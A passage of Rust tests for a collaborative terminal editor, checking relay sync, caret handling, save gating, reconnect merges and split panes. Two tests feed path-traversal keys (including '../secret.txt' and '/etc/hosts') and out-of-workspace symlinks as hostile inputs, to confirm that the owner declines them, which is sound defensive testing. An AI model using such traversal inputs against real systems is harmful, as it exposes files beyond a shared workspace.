        "transcript line number 02\ntranscript line number 03\nt",
        "the extracted text names the rows the pointer actually crossed"
    );
}

#[test]
fn participant_action_ids_round_trip() {
    assert_eq!(
        parse_participant_action("grant:3"),
        Some((ParticipantVerb::Grant, 3))
    );
    assert_eq!(
        parse_participant_action("revoke:0"),
        Some((ParticipantVerb::Revoke, 0))
    );
    assert_eq!(
        parse_participant_action("kick:12"),
        Some((ParticipantVerb::Kick, 12))
    );
    assert_eq!(parse_participant_action("grant:"), None);
    assert_eq!(parse_participant_action("promote:1"), None);
    assert_eq!(parse_participant_action("grant"), None);
}

#[test]
fn participant_rows_show_role_and_size() {
    let p = crate::session_host::Participant {
        id: 7,
        name: String::from("vitali@mac"),
        cols: 120,
        rows: 40,
        control: true,
        version: String::new(),
    };
    let row = participant_row(&p);
    assert_eq!(row.id, "7");
    assert!(row.label.contains("vitali@mac"));
    assert!(row.label.contains("120\u{d7}40"));
    assert!(row.label.contains("write"));
    // Read-only guest with an unknown size (0x0 under `script`).
    let p = crate::session_host::Participant {
        id: 8,
        name: String::from("guest@box"),
        cols: 0,
        rows: 0,
        control: false,
        version: String::new(),
    };
    let row = participant_row(&p);
    assert!(row.label.contains("read-only"));
    assert!(!row.label.contains("0\u{d7}0"));
}

#[test]
fn typist_change_stashes_and_restores_per_participant_carets() {
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("f.txt");
    std::fs::write(&file, "hello world\nsecond line\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.open_at(&file, 0, 0).unwrap();

    // Participant 1 starts typing with the cursor at (1, 3): no stash to
    // restore, cursor untouched.
    app.editor.cursor_row = 1;
    app.editor.cursor_col = 3;
    app.apply_typist_change(1);
    assert_eq!((app.editor.cursor_row, app.editor.cursor_col), (1, 3));

    // Participant 1 moves to (0, 2); then participant 2 takes over: 1's
    // caret is parked where they left it.
    app.editor.cursor_row = 0;
    app.editor.cursor_col = 2;
    app.apply_typist_change(2);
    let parked = app.session_carets.get(&1).expect("caret parked for 1");
    assert_eq!((parked.row, parked.col), (0, 2));

    // Participant 2 works at (1, 4); participant 1 returns: 2 is parked and
    // 1's caret is restored.
    app.editor.cursor_row = 1;
    app.editor.cursor_col = 4;
    app.apply_typist_change(1);
    assert_eq!((app.editor.cursor_row, app.editor.cursor_col), (0, 2));
    let parked = app.session_carets.get(&2).expect("caret parked for 2");
    assert_eq!((parked.row, parked.col), (1, 4));

    // A parked caret past the end of a shrunken buffer restores clamped.
    app.session_carets.insert(
        3,
        SessionCaret {
            path: app.editor.path.clone().unwrap(),
            row: 99,
            col: 99,
        },
    );
    app.apply_typist_change(3);
    assert!(app.editor.cursor_row < app.editor.lines.len());
    let line_len = app.editor.lines[app.editor.cursor_row].chars().count();
    assert!(app.editor.cursor_col <= line_len);
}

/// Headless end-to-end of the Phase D live wiring: two Apps on the same
/// workspace (an owner and a solo guest) connected through a real relay
/// socket. The guest bootstraps the owner's buffer, edits flow both ways and
/// converge, the guest never echoes an applied edit back, and the save-owner
/// gates hold (guest Cmd+S is a no-op with a hint; the owner writes).
#[test]
fn collab_solo_apps_bootstrap_edit_and_gate_saves() {
    use std::time::{Duration, Instant};
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("f.txt");
    std::fs::write(&file, "hello world").unwrap();
    let socket = tmp.path().join("collab.sock");
    {
        let s = socket.clone();
        std::thread::spawn(move || {
            let _ = crate::collab::relay_serve(&s);
        });
    }
    let deadline = Instant::now() + Duration::from_secs(5);
    while !crate::session::is_alive(&socket) {
        assert!(Instant::now() < deadline, "relay never came up");
        std::thread::sleep(Duration::from_millis(10));
    }

    let mut owner = App::new(tmp.path().to_path_buf()).unwrap();
    owner.collab_config = Some((socket.clone(), crate::collab::CollabRole::Owner));
    let mut guest = App::new(tmp.path().to_path_buf()).unwrap();
    guest.collab_config = Some((socket.clone(), crate::collab::CollabRole::Guest));
    owner.open_file_at_launch(&file);
    guest.open_file_at_launch(&file);

    let pump_until =
        |owner: &mut App, guest: &mut App, what: &str, done: &dyn Fn(&App, &App) -> bool| {
            let deadline = Instant::now() + Duration::from_secs(5);
            while !done(owner, guest) {
                assert!(Instant::now() < deadline, "never settled: {what}");
                owner.poll_collab();
                guest.poll_collab();
                std::thread::sleep(Duration::from_millis(5));
            }
        };

    // Guest opens the shared file and bootstraps it from the owner's buffer.
    pump_until(&mut owner, &mut guest, "bootstrap", &|_, g| {
        g.collab.as_ref().is_some_and(|s| s.is_live("f.txt"))
    });

    // Guest types; the owner's buffer converges (through poll_collab's
    // extract, the relay, and apply_collab_spans on the owner side).
    guest.editor.insert_str("GUEST ");
    pump_until(
        &mut owner,
        &mut guest,
        "guest edit reaches owner",
        &|o, _| o.editor.lines[0].contains("GUEST"),
    );

    // Concurrent edits from both sides converge to identical buffers.
    owner.editor.cursor_row = 0;
    owner.editor.cursor_col = 0;
    owner.editor.insert_str("OWNER ");
    pump_until(
        &mut owner,
        &mut guest,
        "concurrent edits converge",
        &|o, g| o.editor.lines == g.editor.lines && o.editor.lines[0].contains("OWNER"),
    );

    // Settle: buffer convergence does not imply the WIRE is drained (#56).
    // Typing sends caret frames besides the edits, every drained event —
    // a caret included — reports redraw-worthy from poll_collab, and the
    // relay thread can deliver a trailing caret after the convergence
    // predicate already passed. Drain those, bounded so a genuine echo
    // storm still reaches the silence check below and fails there.
    let settle = Instant::now() + Duration::from_secs(5);
    loop {
        let owner_drained = owner.poll_collab();
        let guest_drained = guest.poll_collab();
        if !owner_drained && !guest_drained {
            break;
        }
        assert!(
            Instant::now() < settle,
            "the wire never went quiet: an echo storm, not a trailing caret"
        );
        std::thread::sleep(Duration::from_millis(2));
    }
    // No echo: with the wire drained and both sides idle, it stays quiet.
    let settled = owner.editor.lines.clone();
    for _ in 0..20 {
        assert!(!owner.poll_collab(), "owner must be quiescent");
        assert!(!guest.poll_collab(), "guest must be quiescent");
        std::thread::sleep(Duration::from_millis(2));
    }
    assert_eq!(owner.editor.lines, settled);
    assert_eq!(guest.editor.lines, settled);

    // Save-owner gate: the guest's Cmd+S never writes shared files.
    let disk_before = std::fs::read_to_string(&file).unwrap();
    guest.save();
    assert_eq!(std::fs::read_to_string(&file).unwrap(), disk_before);
    assert!(
        guest.status.contains("owner saves"),
        "guest gets a hint, got: {}",
        guest.status
    );

    // The owner writes the converged text.
    owner.save();
    assert_eq!(
        std::fs::read_to_string(&file).unwrap(),
        settled.join("\n"),
        "owner save must persist the converged buffer"
    );
}

/// Splitting (or reopening) a live shared file loads the DISK copy, which
/// is stale by construction: a guest never writes shared files, so an
/// unsaved session's work exists only in buffers and replicas. The stale
/// duplicate used to become the active buffer, catch incoming spans at
/// nonsense offsets, and — on the first keystroke — broadcast a diff of
/// the live doc against the old disk text, reverting every peer to the
/// pre-session file. A fresh buffer of a live file must be seeded from the
/// replicated text, and every pane of the file must mirror the session.
#[test]
fn splitting_a_live_file_does_not_revert_the_session() {
    use std::time::{Duration, Instant};
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("f.txt");
    std::fs::write(&file, "hello world").unwrap();
    let socket = tmp.path().join("collab.sock");
    {
        let s = socket.clone();
        std::thread::spawn(move || {
            let _ = crate::collab::relay_serve(&s);
        });
    }
    let deadline = Instant::now() + Duration::from_secs(5);
    while !crate::session::is_alive(&socket) {
        assert!(Instant::now() < deadline, "relay never came up");
        std::thread::sleep(Duration::from_millis(10));
    }
    let mut owner = App::new(tmp.path().to_path_buf()).unwrap();
    owner.collab_config = Some((socket.clone(), crate::collab::CollabRole::Owner));
    let mut guest = App::new(tmp.path().to_path_buf()).unwrap();
    guest.collab_config = Some((socket.clone(), crate::collab::CollabRole::Guest));
    owner.open_file_at_launch(&file);
    guest.open_file_at_launch(&file);
    let pump_until =
        |owner: &mut App, guest: &mut App, what: &str, done: &dyn Fn(&App, &App) -> bool| {
            let deadline = Instant::now() + Duration::from_secs(5);
            while !done(owner, guest) {
                assert!(Instant::now() < deadline, "never settled: {what}");
                owner.poll_collab();
                guest.poll_collab();
                std::thread::sleep(Duration::from_millis(5));
            }
        };
    pump_until(&mut owner, &mut guest, "bootstrap", &|_, g| {
        g.collab.as_ref().is_some_and(|s| s.is_live("f.txt"))
    });

    // An hour of unsaved session work, in miniature.
    guest.editor.insert_str("SESSION ");
    pump_until(&mut owner, &mut guest, "session edit converges", &|o, g| {
        o.editor.lines == g.editor.lines && o.editor.lines[0].contains("SESSION")
    });
    let session_text = owner.editor.lines.clone();

    // The guest splits: the duplicate is read from the stale disk copy.
    guest.split_editor_dir(crate::app::editor_layout::SplitDir::Horizontal, true);
    pump_until(
        &mut owner,
        &mut guest,
        "the split pane seeds from the live doc, not the disk",
        &|_, g| g.editor.lines == session_text,
    );

    // Typing in the split must extend the session, never revert it.
    guest.editor.insert_str("MORE ");
    pump_until(
        &mut owner,
        &mut guest,
        "the split edit reaches the owner",
        &|o, _| o.editor.lines[0].contains("MORE"),
    );
    assert!(
        owner.editor.lines[0].contains("SESSION"),
        "the pre-split session work survived, got: {:?}",
        owner.editor.lines
    );

    // Both guest panes mirror the live document.
    pump_until(&mut owner, &mut guest, "both panes mirror", &|o, g| {
        g.editor.lines == o.editor.lines
            && g.editor_layout
                .inactive_groups()
                .iter()
                .all(|grp| grp.editors.iter().all(|ed| ed.lines == o.editor.lines))
    });
}

/// Losing the relay link must not be silent: the app detects the dead
/// channel, drops the session, and reconnects through the normal backoff
/// path. Before detection existed, `is_live` stayed true forever and the
/// guest typed into a buffer whose ops reached nobody.
#[test]
fn losing_the_relay_reconnects_instead_of_typing_into_the_void() {
    use std::time::{Duration, Instant};
    let tmp = tempfile::tempdir().unwrap();
    let socket = tmp.path().join("collab.sock");
    // A hand-rolled "relay": accepts, then hangs up on command.
    let listener = std::os::unix::net::UnixListener::bind(&socket).unwrap();
    let mut guest = App::new(tmp.path().to_path_buf()).unwrap();
    guest.collab_config = Some((socket.clone(), crate::collab::CollabRole::Guest));
    guest.poll_collab();
    assert!(guest.collab.is_some(), "first connect");
    let (peer, _) = listener.accept().unwrap();
    drop(peer); // the relay dies

    // Detection: the dead session is dropped.
    let deadline = Instant::now() + Duration::from_secs(3);
    while guest.collab.is_some() {
        assert!(
            Instant::now() < deadline,
            "the dead session was never dropped"
        );
        guest.poll_collab();
        std::thread::sleep(Duration::from_millis(10));
    }
    // Recovery: a fresh session connects (the listener's backlog accepts).
    let deadline = Instant::now() + Duration::from_secs(5);
    while guest.collab.is_none() {
        assert!(Instant::now() < deadline, "never reconnected");
        guest.poll_collab();
        std::thread::sleep(Duration::from_millis(50));
    }
}

/// A guest whose bootstrap nobody answered degrades to plain local editing,
/// as the timeout promises: the input gate lifts, the file stays local-only
/// (no re-request re-arming the gate every 3 seconds), and the guest's save
/// writes to disk — with no owner there is no other author to defer to, so
/// a refused save meant the work could never persist anywhere.
#[test]
fn a_guest_without_an_owner_degrades_to_local_editing_and_saves() {
    use std::time::{Duration, Instant};
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("f.txt");
    std::fs::write(&file, "hello").unwrap();
    let socket = tmp.path().join("collab.sock");
    {
        let s = socket.clone();
        std::thread::spawn(move || {
            let _ = crate::collab::relay_serve(&s);
        });
    }
    let deadline = Instant::now() + Duration::from_secs(5);
    while !crate::session::is_alive(&socket) {
        assert!(Instant::now() < deadline, "relay never came up");
        std::thread::sleep(Duration::from_millis(10));
    }

    // A guest alone on the relay: nobody answers its snapshot request.
    let mut guest = App::new(tmp.path().to_path_buf()).unwrap();
    guest.collab_config = Some((socket.clone(), crate::collab::CollabRole::Guest));
    guest.open_file_at_launch(&file);
    let deadline = Instant::now() + Duration::from_secs(8);
    loop {
        guest.poll_collab();
        if let Some(s) = guest.collab.as_ref()
            && s.is_local_only("f.txt")
        {
            break;
        }
        assert!(Instant::now() < deadline, "bootstrap never gave up");
        std::thread::sleep(Duration::from_millis(20));
    }
    // Later ticks must not re-arm the bootstrap gate.
    for _ in 0..5 {
        guest.poll_collab();
    }
    assert!(
        !guest.collab.as_ref().unwrap().is_bootstrapping("f.txt"),
        "the tick re-armed the input gate after the give-up"
    );
    // The guest is the only author: its save persists.
    guest.editor.insert_str("LOCAL ");
    guest.save();
    assert_eq!(
        std::fs::read_to_string(&file).unwrap(),
        guest.editor.lines.join("\n"),
        "the degraded file's save must reach disk, got status: {}",
        guest.status
    );
}

/// The `file` key in a snapshot request comes straight off the wire: a
/// traversing or absolute key must never resolve outside the workspace, or
/// any guest (the MCP collab agent included) could make the owner read,
/// broadcast, and even edit arbitrary files it can reach.
#[test]
fn a_traversing_wire_file_key_is_declined() {
    let tmp = tempfile::tempdir().unwrap();
    let root = tmp.path().join("workspace");
    std::fs::create_dir(&root).unwrap();
    std::fs::write(tmp.path().join("secret.txt"), "SECRET").unwrap();
    std::fs::write(root.join("inner.txt"), "inner").unwrap();
    let mut app = App::new(root.clone()).unwrap();
    assert_eq!(
        app.owner_buffer_text(&root, "../secret.txt"),
        None,
        "a traversing wire key must not escape the workspace root"
    );
    assert_eq!(
        app.owner_buffer_text(&root, "sub/../../secret.txt"),
        None,
        "a mid-path traversal must not escape the workspace root"
    );
    assert_eq!(
        app.owner_buffer_text(&root, "/etc/hosts"),
        None,
        "an absolute wire key must not leave the workspace root"
    );
    assert_eq!(
        app.owner_buffer_text(&root, "inner.txt").as_deref(),
        Some("inner"),
        "a plain relative key still resolves"
    );
}

/// Lexical containment is not enough: a normal-looking wire key can name a
/// symlink inside the workspace whose target lies outside it, and the
/// owner-side open would follow the link — disclosing (and editing) files
/// beyond the share. Symlinked keys must resolve inside the workspace or be
/// declined; intra-workspace symlinks keep working.
#[test]
fn a_symlinked_wire_file_key_cannot_escape_the_workspace() {
    let tmp = tempfile::tempdir().unwrap();
    let root = tmp.path().join("workspace");
    std::fs::create_dir(&root).unwrap();
    std::fs::write(tmp.path().join("secret.txt"), "SECRET").unwrap();
    std::fs::write(root.join("inner.txt"), "inner").unwrap();
    std::os::unix::fs::symlink(tmp.path().join("secret.txt"), root.join("leak.txt")).unwrap();
    std::fs::create_dir(tmp.path().join("outside")).unwrap();
    std::fs::write(tmp.path().join("outside").join("deep.txt"), "DEEP").unwrap();
    std::os::unix::fs::symlink(tmp.path().join("outside"), root.join("sub")).unwrap();
    std::os::unix::fs::symlink(root.join("inner.txt"), root.join("alias.txt")).unwrap();
    let mut app = App::new(root.clone()).unwrap();
    assert_eq!(
        app.owner_buffer_text(&root, "leak.txt"),
        None,
        "a symlink to a file outside the workspace must be declined"
    );
    assert_eq!(
        app.owner_buffer_text(&root, "sub/deep.txt"),
        None,
        "a path through a symlinked directory must not escape the workspace"
    );
    assert_eq!(
        app.owner_buffer_text(&root, "alias.txt").as_deref(),
        Some("inner"),
        "a symlink resolving inside the workspace still works"
    );
}

/// An edit the guest made while the relay link was down exists nowhere but
/// its buffer: the op never reached the owner. Reconnection bootstraps from
/// the owner's older snapshot, and replacing the buffer with it silently
/// deleted the offline work. The divergence must instead be re-injected as
/// local edits, so the guest keeps its work and the owner receives it.
#[test]
fn reconnecting_replays_offline_guest_edits_instead_of_deleting_them() {
    use std::time::{Duration, Instant};
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("f.txt");
    std::fs::write(&file, "hello world").unwrap();
    let socket = tmp.path().join("collab.sock");
    {
        let s = socket.clone();
        std::thread::spawn(move || {
            let _ = crate::collab::relay_serve(&s);
        });
    }
    let deadline = Instant::now() + Duration::from_secs(5);
    while !crate::session::is_alive(&socket) {
        assert!(Instant::now() < deadline, "relay never came up");
        std::thread::sleep(Duration::from_millis(10));
    }
    let mut owner = App::new(tmp.path().to_path_buf()).unwrap();
    owner.collab_config = Some((socket.clone(), crate::collab::CollabRole::Owner));
    let mut guest = App::new(tmp.path().to_path_buf()).unwrap();
    guest.collab_config = Some((socket.clone(), crate::collab::CollabRole::Guest));
    owner.open_file_at_launch(&file);
    guest.open_file_at_launch(&file);
    let pump_until =
        |owner: &mut App, guest: &mut App, what: &str, done: &dyn Fn(&App, &App) -> bool| {
            let deadline = Instant::now() + Duration::from_secs(5);
            while !done(owner, guest) {
                assert!(Instant::now() < deadline, "never settled: {what}");
                owner.poll_collab();
                guest.poll_collab();
                std::thread::sleep(Duration::from_millis(5));
            }
        };
    pump_until(&mut owner, &mut guest, "bootstrap", &|_, g| {
        g.collab.as_ref().is_some_and(|s| s.is_live("f.txt"))
    });
    guest.editor.insert_str("SESSION ");
    pump_until(&mut owner, &mut guest, "session edit converges", &|o, g| {
        o.editor.lines == g.editor.lines && o.editor.lines[0].contains("SESSION")
    });

    // The link dies: drive the same teardown poll_collab runs after
    // detecting a dead channel (session dropped, config kept). Hold the
    // reconnect backoff while the guest keeps typing offline.
    let dead = guest.collab.take().unwrap();
    guest.drop_lost_collab_session(dead);
    guest.last_collab_connect = Some(Instant::now());
    guest.editor.insert_str("OFFLINE ");
    let offline_text = guest.editor.lines.clone();

    // Reconnect: the file re-bootstraps from the owner's older snapshot.
    guest.last_collab_connect = None;
    pump_until(&mut owner, &mut guest, "reconnect goes live", &|_, g| {
        g.collab.as_ref().is_some_and(|s| s.is_live("f.txt"))
    });
    assert!(
        guest.editor.lines[0].contains("OFFLINE"),
        "the bootstrap deleted the guest's offline edit, got: {:?}",
        guest.editor.lines
    );
    assert_eq!(
        guest.editor.lines, offline_text,
        "the guest's buffer must survive the reconnect intact"
    );
    // The offline edit reaches the owner: nothing was lost.
    pump_until(
        &mut owner,
        &mut guest,
        "the offline edit reaches the owner",
        &|o, g| o.editor.lines == g.editor.lines && o.editor.lines[0].contains("OFFLINE"),
    );
}

/// The converse of the replay test above: while the guest was offline, the
/// OWNER also edited the file. The guest's whole diverged buffer replayed
/// over the reconnect bootstrap used to read the owner's unseen edit as a
/// deletion and strip it from every replica. The reconnect must merge the
/// guest's offline delta with the owner's snapshot (three-way, against the
/// last shared text harvested when the link died).
#[test]
fn reconnect_replay_preserves_owner_edits_made_during_the_outage() {
    use std::time::{Duration, Instant};
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("f.txt");
    std::fs::write(&file, "alpha\nbeta\ngamma").unwrap();
    let socket = tmp.path().join("collab.sock");
    {
        let s = socket.clone();
        std::thread::spawn(move || {
            let _ = crate::collab::relay_serve(&s);
        });
    }
    let deadline = Instant::now() + Duration::from_secs(5);
    while !crate::session::is_alive(&socket) {
        assert!(Instant::now() < deadline, "relay never came up");
        std::thread::sleep(Duration::from_millis(10));
    }
    let mut owner = App::new(tmp.path().to_path_buf()).unwrap();
    owner.collab_config = Some((socket.clone(), crate::collab::CollabRole::Owner));
    let mut guest = App::new(tmp.path().to_path_buf()).unwrap();
    guest.collab_config = Some((socket.clone(), crate::collab::CollabRole::Guest));
    owner.open_file_at_launch(&file);
    guest.open_file_at_launch(&file);
    let pump_until =
        |owner: &mut App, guest: &mut App, what: &str, done: &dyn Fn(&App, &App) -> bool| {
            let deadline = Instant::now() + Duration::from_secs(5);
            while !done(owner, guest) {
                assert!(Instant::now() < deadline, "never settled: {what}");
                owner.poll_collab();
                guest.poll_collab();
                std::thread::sleep(Duration::from_millis(5));
            }
        };
    pump_until(&mut owner, &mut guest, "bootstrap", &|_, g| {
        g.collab.as_ref().is_some_and(|s| s.is_live("f.txt"))
    });

    // The guest's link dies through the real teardown (which harvests the
    // merge base); it edits line 1 offline while the owner edits line 3.
    let dead = guest.collab.take().unwrap();
    guest.drop_lost_collab_session(dead);
    guest.last_collab_connect = Some(Instant::now());
    guest.editor.insert_str("OFFLINE ");
    let owner_pump = |owner: &mut App| {
        let deadline = Instant::now() + Duration::from_secs(1);
        while Instant::now() < deadline {
            owner.poll_collab();
            std::thread::sleep(Duration::from_millis(5));
        }
    };
    owner.editor.cursor_row = 2;
    owner.editor.cursor_col = 0;
    owner.editor.insert_str("OWNER ");
    owner_pump(&mut owner);

    // Reconnect: both offline-era edits must survive, everywhere.
    guest.last_collab_connect = None;
    pump_until(&mut owner, &mut guest, "reconnect goes live", &|_, g| {
        g.collab.as_ref().is_some_and(|s| s.is_live("f.txt"))
    });
    pump_until(
        &mut owner,
        &mut guest,
        "both offline-era edits converge on every replica",
        &|o, g| {
            // `get`, not indexing: if the merge dropped a line, the test must
            // fail at the deadline with "never settled", not panic here.
            o.editor.lines == g.editor.lines
                && o.editor
                    .lines
                    .first()
                    .is_some_and(|l| l.contains("OFFLINE"))
                && o.editor.lines.get(2).is_some_and(|l| l.contains("OWNER"))
        },
    );
}

/// Diff, image, and sheet tabs can carry a shared file's path (a diff tab
/// stores it so close-by-path works), but their `lines` are not documents:
/// the collab passes must never seed, span-splice, or mark them — and a
/// diff tab sitting earlier in the tab strip must not shadow the real text
/// tab out of receiving the session's updates.
#[test]
fn collab_never_touches_diff_image_or_sheet_tabs() {
    use std::time::{Duration, Instant};
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("f.txt");
    std::fs::write(&file, "hello world").unwrap();
    let socket = tmp.path().join("collab.sock");
    {
        let s = socket.clone();
        std::thread::spawn(move || {
            let _ = crate::collab::relay_serve(&s);
        });
    }
    let deadline = Instant::now() + Duration::from_secs(5);
    while !crate::session::is_alive(&socket) {
        assert!(Instant::now() < deadline, "relay never came up");
        std::thread::sleep(Duration::from_millis(10));
    }
    let mut owner = App::new(tmp.path().to_path_buf()).unwrap();
    owner.collab_config = Some((socket.clone(), crate::collab::CollabRole::Owner));
    let mut guest = App::new(tmp.path().to_path_buf()).unwrap();
    guest.collab_config = Some((socket.clone(), crate::collab::CollabRole::Guest));
    owner.open_file_at_launch(&file);
    // The guest's diff tab lands at index 0, AHEAD of the text tab: a
    // first-found-by-path lookup would hand it the session's updates.
    guest.editor.open_diff(&file, &file).unwrap();
    guest.open_file_at_launch(&file);
    let pump_until =
        |owner: &mut App, guest: &mut App, what: &str, done: &dyn Fn(&App, &App) -> bool| {
            let deadline = Instant::now() + Duration::from_secs(5);
            while !done(owner, guest) {
                assert!(Instant::now() < deadline, "never settled: {what}");
                owner.poll_collab();
                guest.poll_collab();
                std::thread::sleep(Duration::from_millis(5));
            }
        };
    pump_until(&mut owner, &mut guest, "bootstrap", &|_, g| {
        g.collab.as_ref().is_some_and(|s| s.is_live("f.txt"))
    });
    owner.editor.insert_str("OWNER ");
    pump_until(
        &mut owner,
        &mut guest,
        "the owner edit reaches the guest text tab",
        &|o, g| g.editor.lines == o.editor.lines && g.editor.lines[0].contains("OWNER"),
    );
    let diff_tab = &guest.editor.editors[0];
    assert!(diff_tab.diff.is_some(), "the diff tab survived");
    assert_eq!(
        diff_tab.collab_doc_gen, 0,
        "a diff tab must never be marked as an attached collab buffer"
    );
    assert!(
        !diff_tab.lines.join("\n").contains("hello"),
        "the collab passes seeded document text into a diff tab"
    );
}

/// A keystroke into a fresh, not-yet-attached pane of a live file (a split
/// or reopen holding stale disk text) used to land in the stale buffer and
/// be silently wiped when the attach pass seeded the pane one tick later.
/// The bootstrap input gate must cover this window too: refuse the key
/// with a hint instead of losing it.
#[test]
fn typing_into_an_unattached_pane_of_a_live_file_is_gated_not_wiped() {
    use std::time::{Duration, Instant};
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("f.txt");
    std::fs::write(&file, "hello world").unwrap();
    let socket = tmp.path().join("collab.sock");
    {
        let s = socket.clone();
        std::thread::spawn(move || {
            let _ = crate::collab::relay_serve(&s);
        });
    }
    let deadline = Instant::now() + Duration::from_secs(5);
    while !crate::session::is_alive(&socket) {
        assert!(Instant::now() < deadline, "relay never came up");
        std::thread::sleep(Duration::from_millis(10));
    }
    let mut owner = App::new(tmp.path().to_path_buf()).unwrap();
    owner.collab_config = Some((socket.clone(), crate::collab::CollabRole::Owner));
    let mut guest = App::new(tmp.path().to_path_buf()).unwrap();
    guest.collab_config = Some((socket.clone(), crate::collab::CollabRole::Guest));
    owner.open_file_at_launch(&file);
    guest.open_file_at_launch(&file);
    let pump_until =
        |owner: &mut App, guest: &mut App, what: &str, done: &dyn Fn(&App, &App) -> bool| {
            let deadline = Instant::now() + Duration::from_secs(5);
            while !done(owner, guest) {
                assert!(Instant::now() < deadline, "never settled: {what}");
                owner.poll_collab();
                guest.poll_collab();
                std::thread::sleep(Duration::from_millis(5));
            }
        };
    pump_until(&mut owner, &mut guest, "bootstrap", &|_, g| {
        g.collab.as_ref().is_some_and(|s| s.is_live("f.txt"))
    });
    guest.editor.insert_str("SESSION ");
    pump_until(&mut owner, &mut guest, "session edit converges", &|o, g| {
        o.editor.lines == g.editor.lines && o.editor.lines[0].contains("SESSION")
    });

    // The split duplicate holds stale disk text and has not attached yet;
    // a keystroke arriving before the next tick must be refused, not
    // absorbed into text the attach pass is about to replace.
    guest.split_editor_dir(crate::app::editor_layout::SplitDir::Horizontal, true);
    guest
        .handle_key(key(KeyCode::Char('x'), KeyModifiers::NONE))
        .unwrap();
    assert!(
        !guest.editor.lines.join("\n").contains('x'),
        "the keystroke went into a stale unattached pane and will be wiped"
    );
    pump_until(&mut owner, &mut guest, "the split pane seeds", &|o, g| {
        g.editor.lines == o.editor.lines && g.editor.lines[0].contains("SESSION")
    });
    assert!(
        !owner.editor.lines.join("\n").contains('x'),
        "the gated keystroke must not reach the session"
    );
}

/// While the relay link is down there is no session to defer to: the guest
/// editing offline must be able to save its shared file, or a permanent
/// relay outage strands the work in RAM forever (the save gate used to
/// treat a missing session as "shared, owner saves").
#[test]
fn a_disconnected_guest_can_still_save_its_shared_file() {
    use std::time::{Duration, Instant};
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("f.txt");
    std::fs::write(&file, "hello world").unwrap();
    let socket = tmp.path().join("collab.sock");
    {
        let s = socket.clone();
        std::thread::spawn(move || {
            let _ = crate::collab::relay_serve(&s);
        });
    }
    let deadline = Instant::now() + Duration::from_secs(5);
    while !crate::session::is_alive(&socket) {
        assert!(Instant::now() < deadline, "relay never came up");
        std::thread::sleep(Duration::from_millis(10));
    }
    let mut owner = App::new(tmp.path().to_path_buf()).unwrap();
    owner.collab_config = Some((socket.clone(), crate::collab::CollabRole::Owner));
    let mut guest = App::new(tmp.path().to_path_buf()).unwrap();
    guest.collab_config = Some((socket.clone(), crate::collab::CollabRole::Guest));
    owner.open_file_at_launch(&file);
    guest.open_file_at_launch(&file);
    let pump_until =
        |owner: &mut App, guest: &mut App, what: &str, done: &dyn Fn(&App, &App) -> bool| {
            let deadline = Instant::now() + Duration::from_secs(5);
            while !done(owner, guest) {
                assert!(Instant::now() < deadline, "never settled: {what}");
                owner.poll_collab();
                guest.poll_collab();
                std::thread::sleep(Duration::from_millis(5));
            }
        };
    pump_until(&mut owner, &mut guest, "bootstrap", &|_, g| {
        g.collab.as_ref().is_some_and(|s| s.is_live("f.txt"))
    });

    // The link dies; the guest keeps editing offline and saves.
    guest.collab = None;
    guest.last_collab_connect = Some(Instant::now());
    guest.editor.insert_str("OFF ");
    guest.save();
    assert_eq!(
        std::fs::read_to_string(&file).unwrap(),
        guest.editor.lines.join("\n"),
        "a disconnected guest's save must reach disk, got status: {}",
        guest.status
    );
}

/// Two split panes of a shared file edited while the link is down must both
/// keep their work through the reconnect. Panes cannot converge through the
/// doc while there is no session, so the active pane (the only one input
/// reaches) mirrors onto its siblings — the reconnect then replays exactly
/// one offline text per file, holding every edit.
#[test]
fn offline_edits_in_split_panes_all_survive_a_reconnect() {
    use std::time::{Duration, Instant};
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("f.txt");
    std::fs::write(&file, "hello world").unwrap();
    let socket = tmp.path().join("collab.sock");
    {
        let s = socket.clone();
        std::thread::spawn(move || {
            let _ = crate::collab::relay_serve(&s);
        });
    }
    let deadline = Instant::now() + Duration::from_secs(5);
    while !crate::session::is_alive(&socket) {
        assert!(Instant::now() < deadline, "relay never came up");
        std::thread::sleep(Duration::from_millis(10));
    }
    let mut owner = App::new(tmp.path().to_path_buf()).unwrap();
    owner.collab_config = Some((socket.clone(), crate::collab::CollabRole::Owner));
    let mut guest = App::new(tmp.path().to_path_buf()).unwrap();
    guest.collab_config = Some((socket.clone(), crate::collab::CollabRole::Guest));
    owner.open_file_at_launch(&file);
    guest.open_file_at_launch(&file);
    let pump_until =
        |owner: &mut App, guest: &mut App, what: &str, done: &dyn Fn(&App, &App) -> bool| {
            let deadline = Instant::now() + Duration::from_secs(5);
            while !done(owner, guest) {
                assert!(Instant::now() < deadline, "never settled: {what}");
                owner.poll_collab();
                guest.poll_collab();
                std::thread::sleep(Duration::from_millis(5));
            }
        };
    pump_until(&mut owner, &mut guest, "bootstrap", &|_, g| {
        g.collab.as_ref().is_some_and(|s| s.is_live("f.txt"))
    });
    guest.editor.insert_str("SESSION ");
    pump_until(&mut owner, &mut guest, "session edit converges", &|o, g| {
        o.editor.lines == g.editor.lines && o.editor.lines[0].contains("SESSION")
    });
    guest.split_editor_dir(crate::app::editor_layout::SplitDir::Horizontal, true);
    let session_text = owner.editor.lines.clone();
    pump_until(&mut owner, &mut guest, "both panes attach", &|_, g| {
        g.editor.lines == session_text
            && g.editor_layout
                .inactive_groups()
                .iter()
                .all(|grp| grp.editors.iter().all(|ed| ed.lines == session_text))
    });

    // The link dies. Both panes are edited while offline.
    guest.collab = None;
    guest.last_collab_connect = Some(Instant::now());
    guest.editor.insert_str("RIGHT ");
    guest.poll_collab();
    guest.focus_editor_group(true);
    guest.editor.insert_str("LEFT ");
    guest.poll_collab();

    // Reconnect: every offline edit must reach the owner.
    guest.last_collab_connect = None;
    pump_until(
        &mut owner,
        &mut guest,
        "both offline edits reach the owner",
        &|o, _| {
            let text = o.editor.lines.join("\n");
            text.contains("RIGHT") && text.contains("LEFT")
        },
    );
}

/// The cancel affordances around the AI stream: Cmd+K X and the palette
